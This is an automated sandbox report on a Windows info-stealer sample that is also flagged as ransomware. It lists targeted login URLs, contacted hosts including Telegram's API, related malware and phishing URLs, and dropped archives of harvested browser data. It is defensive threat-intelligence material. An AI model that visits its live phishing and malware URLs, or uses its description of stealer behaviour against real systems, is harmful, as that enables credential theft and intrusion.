https://webmail.claro.net.co/app/s/LoginPage.asp	p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://www.incrementaltools.com/one-page-checkout.asp	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://www.pdffiller.com/en/login.htm	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://www.woodsmithshop.com/account/login/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	tmp756C.tmp.dat.0.dr	false		high
https://www.panamericana.com.co/registro/inicio	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://www.iclaro.com.hn/app/s/LoginPage.asp	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
http://www.woodsmithlibrary.com/login/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://portal.vectric.com/registerNew	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://resultados.lch.com.co/ingresar	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://support.mozilla.org	tmp756C.tmp.dat.0.dr	false		high
http://api.telegram.org	HTZ4az17lj.exe, 00000000.00000002.2116685622.00000295806A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	HTZ4az17lj.exe, 00000000.00000002.2138246850.000002959164E000.00000004.00000800.00020000.00000000.sdmp, tmp3D76.tmp.dat.0.dr, tmp756D.tmp.dat.0.dr	false		high
https://www.directv.com.co/midirectv/ingresar	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false	0%, Virustotal, Browse	unknown
https://www.spotify.com/co/signup/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://www.amazon.com/ap/forgotpassword	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://www.instagram.com/accounts/signup/	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://www.amazon.com/ap/signin	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high
https://www.grammarly.com/signup	uuhbr0xg.h20.exe, 0000000B.00000002.2097336335.0000025680336000.00000004.00000800.00020000.00000000.sdmp, p.html.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.44.66	api.mylnikov.org	United States	13335	CLOUDFLARENETUS	false
142.250.105.99	www.google.com	United States	15169	GOOGLEUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
128.199.113.162	unknown	United Kingdom	14061	DIGITALOCEAN-ASNUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.16.185.241	icanhazip.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1426719
Start date and time:	2024-04-16 14:26:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	HTZ4az17lj.exe renamed because original name is a hash value
Original Sample Name:	ceb9e6829d00ad6e8f25b30d77aba83f.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@62/153@6/7
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.9.94, 172.253.124.102, 172.253.124.100, 172.253.124.113, 172.253.124.101, 172.253.124.138, 172.253.124.139, 74.125.138.84, 34.104.35.123, 199.232.210.172, 192.229.211.108, 172.217.215.94, 199.232.214.172, 64.233.176.139, 64.233.176.113, 64.233.176.138, 64.233.176.100, 64.233.176.101, 64.233.176.102
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, clients2.google.com, ocsp.digicert.com, accounts.google.com, edgedl.me.gvt1.com, slscr.update.microsoft.com, update.googleapis.com, ctldl.windowsupdate.com, clientservices.googleapis.com, clients.l.google.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target uuhbr0xg.h20.exe, PID 7832 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:26:57	API Interceptor	78x Sleep call for process: HTZ4az17lj.exe modified
14:26:58	Task Scheduler	Run new task: WinTask path: C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe
14:27:04	API Interceptor	1x Sleep call for process: uuhbr0xg.h20.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.44.66	ZoominstallerFull.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse
	YVrNKlaWqu.exe	Get hash	malicious	AsyncRAT, Neshta, StormKitty, WorldWind Stealer	Browse
	hesaphareketi-01.pdf.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	WinDir.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer, zgRAT	Browse
	Hesap_Ekstresi_11956117.PDF.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	Dekont.pdf.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	z30PO1028930.exe	Get hash	malicious	AsyncRAT, StormKitty, VenomRAT	Browse
	vZFGXiTg6o.exe	Get hash	malicious	AsyncRAT, StormKitty, VenomRAT	Browse
	1.bat	Get hash	malicious	AsyncRAT, StormKitty, Strela Stealer, VenomRAT	Browse
	SecuriteInfo.com.Win32.RATX-gen.15036.22247.exe	Get hash	malicious	AsyncRAT, DarkTortilla, StormKitty	Browse
149.154.167.220	NEW QUOTATION.exe	Get hash	malicious	AgentTesla	Browse
	Order 0230006 - Mexpol S.A.pdf.exe	Get hash	malicious	AgentTesla	Browse
	Oeyrmdo.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Oeyrmdo.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	iterms.pdf.exe	Get hash	malicious	DarkCloud	Browse
	rSHIPMENTSHIPPE.exe	Get hash	malicious	AgentTesla	Browse
	ORDER SPECIFICATION.exe	Get hash	malicious	AgentTesla	Browse
	17131664440dd00fd6922b1959138427bbaa2fdf5eadefe903194a46ed2d146bfcb79ec509916.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse
	bU8H.exe	Get hash	malicious	XWorm	Browse
	GxrG78Getq.exe	Get hash	malicious	AsyncRAT, Blackshades, Quasar, StormKitty, WorldWind Stealer	Browse
128.199.113.162	chrome.exe	Get hash	malicious	Metasploit	Browse	128.199.113.162/upwawsfrg.php
239.255.255.250	mal attachment.html	Get hash	malicious	HTMLPhisher	Browse
	http://cubes.concordia.ca/track?type=click&enid=bWFpbGluZ2lkPTM2MjMmbWVzc2FnZWlkPTQxMjEmZGF0YWJhc2VpZD05MDEmc2VyaWFsPTEyNzU1MDM1NzUmZW1haWxpZD13YXJpZXN0NTkzMzgud2Vla2x5bWFpbEBibG9nZ2VyLmNvbSZ1c2VyaWQ9NDcxJmZsPSZleHRyYT1NdWx0aXZhcmlhdGVJZD0mJiY=&&&2028&&&http://gbmaucstans.com/?ddg5B=ZnJhbmNvaXMuYm91bGFuZ2VyQGNnaS5jb20=	Get hash	malicious	Unknown	Browse
	https://nts.embluemail.com/p/cl?data=Vt1BGZtgVLfostfhZom0hk8oVt5tiRlXt8RRT2mHtdghQTFUGtJ9hHhr3EU1SwPF1EvHGuTksiBjo87+ZeJps/CboX3Q8/0QJvV9bU2cNVg=!-!6j3,q9!-!https://secupo.webcindario.com/?conformite.idia@ca-idia.com	Get hash	malicious	HTMLPhisher	Browse
	https://nts.embluemail.com/p/cl?data=Vt1BGZtgVLfostfhZom0hk8oVt5tiRlXt8RRT2mHtdghQTFUGtJ9hHhr3EU1SwPF1EvHGuTksiBjo87+ZeJps/CboX3Q8/0QJvV9bU2cNVg=!-!6j3,q9!-!https://secupo.webcindario.com/?conformite.idia@ca-idia.com	Get hash	malicious	HTMLPhisher	Browse
	http://sobeteracotafancris.ro	Get hash	malicious	Unknown	Browse
	https://1drv.ms/o/s!AhT23e1MofOfpnjbpE9m51fOcII5?e=K3DPPG	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
	https://thermal48828442111.dorik.io/	Get hash	malicious	HTMLPhisher	Browse
	2024-04-16_11h42_39.png	Get hash	malicious	Unknown	Browse
	https://t9015570267.p.clickup-attachments.com/t9015570267/72d38610-17ec-4e02-be10-f5425c6ab8eb/Proof_Of_Payment.HTML?view=open	Get hash	malicious	HTMLPhisher	Browse
	https://www.canva.com/design/DAGCNH9x9o0/YBJ_HrFDfb50kAUzVAfmdg/view?utm_content=DAGCNH9x9o0&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse
104.16.185.241	GxrG78Getq.exe	Get hash	malicious	AsyncRAT, Blackshades, Quasar, StormKitty, WorldWind Stealer	Browse	icanhazip.com/
	PURCHASE_ORDER.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	icanhazip.com/
	Tax_docs_2023.pdf.lnk	Get hash	malicious	Metasploit	Browse	icanhazip.com/
	ZoominstallerFull.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	icanhazip.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.mylnikov.org	GxrG78Getq.exe	Get hash	malicious	AsyncRAT, Blackshades, Quasar, StormKitty, WorldWind Stealer	Browse	172.67.196.114
	Lex-DKM988293.zip	Get hash	malicious	AsyncRAT, DcRat	Browse	104.21.44.66
	Tax_docs_2023.pdf.lnk	Get hash	malicious	Metasploit	Browse	172.67.196.114
	ZoominstallerFull.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	104.21.44.66
	YVrNKlaWqu.exe	Get hash	malicious	AsyncRAT, Neshta, StormKitty, WorldWind Stealer	Browse	104.21.44.66
	hesaphareketi-01.pdf.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.21.44.66
	iUi6TG0GhX.exe	Get hash	malicious	AsyncRAT, Njrat, RevengeRAT, StormKitty, VenomRAT, Xmrig	Browse	172.67.196.114
	PAYMENT-COPYaosi.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	172.67.196.114
	WinDir.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer, zgRAT	Browse	104.21.44.66
	RFQ195246.pdf.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	172.67.196.114
api.telegram.org	NEW QUOTATION.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Order 0230006 - Mexpol S.A.pdf.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Oeyrmdo.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	Oeyrmdo.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	iterms.pdf.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	rSHIPMENTSHIPPE.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	ORDER SPECIFICATION.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	17131664440dd00fd6922b1959138427bbaa2fdf5eadefe903194a46ed2d146bfcb79ec509916.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	org.xls	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	bU8H.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
icanhazip.com	GxrG78Getq.exe	Get hash	malicious	AsyncRAT, Blackshades, Quasar, StormKitty, WorldWind Stealer	Browse	104.16.185.241
	Lex-DKM988293.zip	Get hash	malicious	AsyncRAT, DcRat	Browse	104.16.184.241
	PURCHASE_ORDER.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	104.16.185.241
	Tax_docs_2023.pdf.lnk	Get hash	malicious	Metasploit	Browse	104.16.185.241
	ZoominstallerFull.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	104.16.185.241
	sendslogstotg.exe	Get hash	malicious	Unknown	Browse	104.18.114.97
	sendslogstotg.exe	Get hash	malicious	Unknown	Browse	104.18.114.97
	1N9LML9w7L.exe	Get hash	malicious	Neshta, XWorm	Browse	104.18.115.97
	J7tu5vP0fA.exe	Get hash	malicious	Neshta, XWorm	Browse	104.18.114.97
	NECOv1fTXe.exe	Get hash	malicious	Neshta, XWorm	Browse	104.18.114.97

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	NEW QUOTATION.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Order 0230006 - Mexpol S.A.pdf.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Oeyrmdo.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	Oeyrmdo.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	iterms.pdf.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	https://telegra.ph/Pvhomed-04-15	Get hash	malicious	HTMLPhisher	Browse	149.154.167.99
	rSHIPMENTSHIPPE.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	MenuEx.dll	Get hash	malicious	Unknown	Browse	149.154.167.99
	MenuEx.dll	Get hash	malicious	Unknown	Browse	149.154.167.99
	sharepoint.msi	Get hash	malicious	Unknown	Browse	149.154.167.99
CLOUDFLARENETUS	sYlwfFFwFb.elf	Get hash	malicious	Mirai	Browse	8.47.122.20
	mal attachment.html	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	MT103.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	http://cubes.concordia.ca/track?type=click&enid=bWFpbGluZ2lkPTM2MjMmbWVzc2FnZWlkPTQxMjEmZGF0YWJhc2VpZD05MDEmc2VyaWFsPTEyNzU1MDM1NzUmZW1haWxpZD13YXJpZXN0NTkzMzgud2Vla2x5bWFpbEBibG9nZ2VyLmNvbSZ1c2VyaWQ9NDcxJmZsPSZleHRyYT1NdWx0aXZhcmlhdGVJZD0mJiY=&&&2028&&&http://gbmaucstans.com/?ddg5B=ZnJhbmNvaXMuYm91bGFuZ2VyQGNnaS5jb20=	Get hash	malicious	Unknown	Browse	104.17.2.184
	zLH4Gkr36e.elf	Get hash	malicious	Mirai	Browse	1.14.30.15
	JR58WqLhRl.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	TANQUIVUIA.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	104.21.9.123
	https://nts.embluemail.com/p/cl?data=Vt1BGZtgVLfostfhZom0hk8oVt5tiRlXt8RRT2mHtdghQTFUGtJ9hHhr3EU1SwPF1EvHGuTksiBjo87+ZeJps/CboX3Q8/0QJvV9bU2cNVg=!-!6j3,q9!-!https://secupo.webcindario.com/?conformite.idia@ca-idia.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://nts.embluemail.com/p/cl?data=Vt1BGZtgVLfostfhZom0hk8oVt5tiRlXt8RRT2mHtdghQTFUGtJ9hHhr3EU1SwPF1EvHGuTksiBjo87+ZeJps/CboX3Q8/0QJvV9bU2cNVg=!-!6j3,q9!-!https://secupo.webcindario.com/?conformite.idia@ca-idia.com	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	SecuriteInfo.com.Win32.TrojanX-gen.17997.17145.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
CLOUDFLARENETUS	sYlwfFFwFb.elf	Get hash	malicious	Mirai	Browse	8.47.122.20
	mal attachment.html	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	MT103.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	http://cubes.concordia.ca/track?type=click&enid=bWFpbGluZ2lkPTM2MjMmbWVzc2FnZWlkPTQxMjEmZGF0YWJhc2VpZD05MDEmc2VyaWFsPTEyNzU1MDM1NzUmZW1haWxpZD13YXJpZXN0NTkzMzgud2Vla2x5bWFpbEBibG9nZ2VyLmNvbSZ1c2VyaWQ9NDcxJmZsPSZleHRyYT1NdWx0aXZhcmlhdGVJZD0mJiY=&&&2028&&&http://gbmaucstans.com/?ddg5B=ZnJhbmNvaXMuYm91bGFuZ2VyQGNnaS5jb20=	Get hash	malicious	Unknown	Browse	104.17.2.184
	zLH4Gkr36e.elf	Get hash	malicious	Mirai	Browse	1.14.30.15
	JR58WqLhRl.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	TANQUIVUIA.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	104.21.9.123
	https://nts.embluemail.com/p/cl?data=Vt1BGZtgVLfostfhZom0hk8oVt5tiRlXt8RRT2mHtdghQTFUGtJ9hHhr3EU1SwPF1EvHGuTksiBjo87+ZeJps/CboX3Q8/0QJvV9bU2cNVg=!-!6j3,q9!-!https://secupo.webcindario.com/?conformite.idia@ca-idia.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://nts.embluemail.com/p/cl?data=Vt1BGZtgVLfostfhZom0hk8oVt5tiRlXt8RRT2mHtdghQTFUGtJ9hHhr3EU1SwPF1EvHGuTksiBjo87+ZeJps/CboX3Q8/0QJvV9bU2cNVg=!-!6j3,q9!-!https://secupo.webcindario.com/?conformite.idia@ca-idia.com	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	SecuriteInfo.com.Win32.TrojanX-gen.17997.17145.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
DIGITALOCEAN-ASNUS	z69ClienteNFe-Faturada-15042024.msi	Get hash	malicious	MicroClip	Browse	178.128.15.164
	zLH4Gkr36e.elf	Get hash	malicious	Mirai	Browse	167.174.154.169
	file.exe	Get hash	malicious	FormBook	Browse	64.225.91.73
	nY3jvpEUvw.elf	Get hash	malicious	Mirai	Browse	134.122.34.163
	u8D2EDf5M2.elf	Get hash	malicious	Mirai	Browse	134.122.107.63
	http://167.71.160.65/khldnusdMACscw00/index.html	Get hash	malicious	Unknown	Browse	167.71.160.65
	z37Nfe-Faturada-14042024.msi	Get hash	malicious	MicroClip	Browse	178.128.15.164
	file.exe	Get hash	malicious	FormBook	Browse	64.225.91.73
	ODOCVzwXq5.elf	Get hash	malicious	Mirai	Browse	134.209.166.158
	9XzxoGb2mX.elf	Get hash	malicious	Mirai	Browse	134.122.107.69

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	http://cubes.concordia.ca/track?type=click&enid=bWFpbGluZ2lkPTM2MjMmbWVzc2FnZWlkPTQxMjEmZGF0YWJhc2VpZD05MDEmc2VyaWFsPTEyNzU1MDM1NzUmZW1haWxpZD13YXJpZXN0NTkzMzgud2Vla2x5bWFpbEBibG9nZ2VyLmNvbSZ1c2VyaWQ9NDcxJmZsPSZleHRyYT1NdWx0aXZhcmlhdGVJZD0mJiY=&&&2028&&&http://gbmaucstans.com/?ddg5B=ZnJhbmNvaXMuYm91bGFuZ2VyQGNnaS5jb20=	Get hash	malicious	Unknown	Browse	23.1.237.91
	DHL Receipt_pdf.vbs	Get hash	malicious	AgentTesla	Browse	23.1.237.91
	SecuriteInfo.com.IL.Trojan.MSILZilla.30455.29056.1307.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	23.1.237.91
	Purchase#order10662324.pdf.exe	Get hash	malicious	AgentTesla	Browse	23.1.237.91
	4PPlLk8IT5.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	23.1.237.91
	https://window-security-app-swixg.ondigitalocean.app/	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://dhl.b-loadt.eu/uDLNF	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://zimtendernotices.co.zw/login.html	Get hash	malicious	PayPal Phisher	Browse	23.1.237.91
	https://www.goodnewsliverpool.co.uk/?ads_click=1&data=10345-9192-0-3318-1&nonce=b019a2f042&redir=%68%74%74%70%25%33%41aiitpune.com%2Fjs%2Ftjux%2F%2Fc2J5cm5lQGpwYy5xbGQuZWR1LmF1&$	Get hash	malicious	HTMLPhisher	Browse	23.1.237.91
	https://www.google.com/url?q=https://myworkspacea9fc6.myclickfunnels.com/onlinereview--cf58b?preview%3Dtrue&source=gmail&ust=1713278508068000&usg=AOvVaw2uqg230N5cpfHHh5kjayyW	Get hash	malicious	Unknown	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	mal attachment.html	Get hash	malicious	HTMLPhisher	Browse	23.63.206.91 40.127.169.103
	http://cubes.concordia.ca/track?type=click&enid=bWFpbGluZ2lkPTM2MjMmbWVzc2FnZWlkPTQxMjEmZGF0YWJhc2VpZD05MDEmc2VyaWFsPTEyNzU1MDM1NzUmZW1haWxpZD13YXJpZXN0NTkzMzgud2Vla2x5bWFpbEBibG9nZ2VyLmNvbSZ1c2VyaWQ9NDcxJmZsPSZleHRyYT1NdWx0aXZhcmlhdGVJZD0mJiY=&&&2028&&&http://gbmaucstans.com/?ddg5B=ZnJhbmNvaXMuYm91bGFuZ2VyQGNnaS5jb20=	Get hash	malicious	Unknown	Browse	23.63.206.91 40.127.169.103
	https://nts.embluemail.com/p/cl?data=Vt1BGZtgVLfostfhZom0hk8oVt5tiRlXt8RRT2mHtdghQTFUGtJ9hHhr3EU1SwPF1EvHGuTksiBjo87+ZeJps/CboX3Q8/0QJvV9bU2cNVg=!-!6j3,q9!-!https://secupo.webcindario.com/?conformite.idia@ca-idia.com	Get hash	malicious	HTMLPhisher	Browse	23.63.206.91 40.127.169.103
	https://1drv.ms/o/s!AhT23e1MofOfpnjbpE9m51fOcII5?e=K3DPPG	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	23.63.206.91 40.127.169.103
	2024-04-16_11h42_39.png	Get hash	malicious	Unknown	Browse	23.63.206.91 40.127.169.103
	https://t9015570267.p.clickup-attachments.com/t9015570267/72d38610-17ec-4e02-be10-f5425c6ab8eb/Proof_Of_Payment.HTML?view=open	Get hash	malicious	HTMLPhisher	Browse	23.63.206.91 40.127.169.103
	https://map.sewoon.org/1/themes/es/?cid=dcp@sanitasresidencial.com	Get hash	malicious	Unknown	Browse	23.63.206.91 40.127.169.103
	http://kunnskapsfilm.no	Get hash	malicious	Unknown	Browse	23.63.206.91 40.127.169.103
	ghVYKlWkRxFNuDb.exe	Get hash	malicious	AgentTesla	Browse	23.63.206.91 40.127.169.103
	https://danharborsuit.sbs/access/wfiles.html	Get hash	malicious	HTMLPhisher	Browse	23.63.206.91 40.127.169.103
3b5074b1b5d032e5620f69f9f700ff0e	NEW QUOTATION.exe	Get hash	malicious	AgentTesla	Browse	104.21.44.66 149.154.167.220
	MT103.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.21.44.66 149.154.167.220
	FRS133.js	Get hash	malicious	Unknown	Browse	104.21.44.66 149.154.167.220
	FRS133.js	Get hash	malicious	Unknown	Browse	104.21.44.66 149.154.167.220
	SecuriteInfo.com.Win32.TrojanX-gen.17997.17145.exe	Get hash	malicious	AgentTesla	Browse	104.21.44.66 149.154.167.220
	cybXkFC5nF.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse	104.21.44.66 149.154.167.220
	Order 0230006 - Mexpol S.A.pdf.exe	Get hash	malicious	AgentTesla	Browse	104.21.44.66 149.154.167.220
	Oeyrmdo.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.21.44.66 149.154.167.220
	93001657328.exe	Get hash	malicious	AgentTesla	Browse	104.21.44.66 149.154.167.220
	cJYgnOgyhs.exe	Get hash	malicious	AgentTesla	Browse	104.21.44.66 149.154.167.220

Process:	C:\Users\user\Desktop\HTZ4az17lj.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	196894
Entropy (8bit):	7.927460767049972
Encrypted:	false
SSDEEP:	3072:vKjHj6BjVdjljTjwUjFtjzjCjBnZAFa4pEsjLfu4WkC1dNF2E3CRlyPP:vgDi/FfTP/oDAELsjL2OEy7yPP
MD5:	4A10617053A58FC3D40434AFE5EE1229
SHA1:	BFBF68BA8037C53FDE1F68DCB6DAFD6DE8B1EEF4
SHA-256:	65D6418DB239BCE7D2B37569EFFA4E1B8BAFB2FF4970CC963F88FB32600A0BC4
SHA-512:	5B426F09C7EA3A6FD50BA562ABBA574D024E41542F28BD53850B2BD638B71E34FD5069025629F84CB900C58C34D0A1E661EA262BE609F012151A916A65D1F0A1
Malicious:	false
Preview:	PK........o..X................Browsers\Edge\PK........o..X................Browsers\Google\PK........`s.XQ3..J...i.......Browsers\Firefox\Bookmarks.txtSVVVpO-Q.H.)PPVV..b.......T........H.g^Y~NYj.\.1)..D!..YUIf^.BpIbQ.T!.PK........`s.Xc.e.S...^.......Browsers\Firefox\History.txtSVVVp.,JM.P.(.,KL.T../.LNUx.0E.7.3''QA..L#.....J_...\/.".._........_....1M_S....PK........`s.X.......5.......Directories\Desktop.txte..n.0....W.T.R.&^0.0x..\.$..4AJ.Q......q.....Mv...Y??-p^0j..6.".,..].b..J&Y.M....2C..^6.6E.!.....9wE..2.5..N....fA.T.5..6.8.Se.L.......[Z.fe..'.&+b.#G.....D8.DN.6Jm..U.....g.....`.,qRp..4...(.F.~W..E..Yh......Rd._U..0............m'.=... Y..iP...R..\..v......p.E...u?%"$\.%1Q.d.....L..Xi...Q.y..Z.. ...h...#`..W....6..-!7.'z..N.t>...3..{..}y?...'.cpl.............m......PK........`s.X. {.............Directories\Documents.txtm..r.0....'..'.hA..!../..L1......'`6.s.E.......~......b.8.D')..rKD.D:F!b....hS4.t....`V..kHa.p...ffw...aY.....u..&B..Z..#.

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\uuhbr0xg.h20.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\uuhbr0xg.h20.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1709
Entropy (8bit):	5.37251189097366
Encrypted:	false
SSDEEP:	48:MxHKQrHNp51qHGIs0HKCYHKGSI6owHptHTHhAHKKkb:iqYtp5wmj0qCYqGSI6owJtzHeqKkb
MD5:	94E24F6F4F216F252F6A35AE63180B2A
SHA1:	100955B99ED2ACEE85838303408DE500ED4C36AA
SHA-256:	16F63AFF7E7AAE8E85A866B6BCA7E3F5C7821DAB0C7AE91E5626EF0EF4F5C6BA
SHA-512:	15EE71D1B1AC5D9F28A2289338E263403F994E4585489B7EDA0060168A7D891EDACB11D75387A497C5B62B5D2C88D7D9FBF6C667B4F4614DD73D1E0DAAB10A6F
Malicious:	false
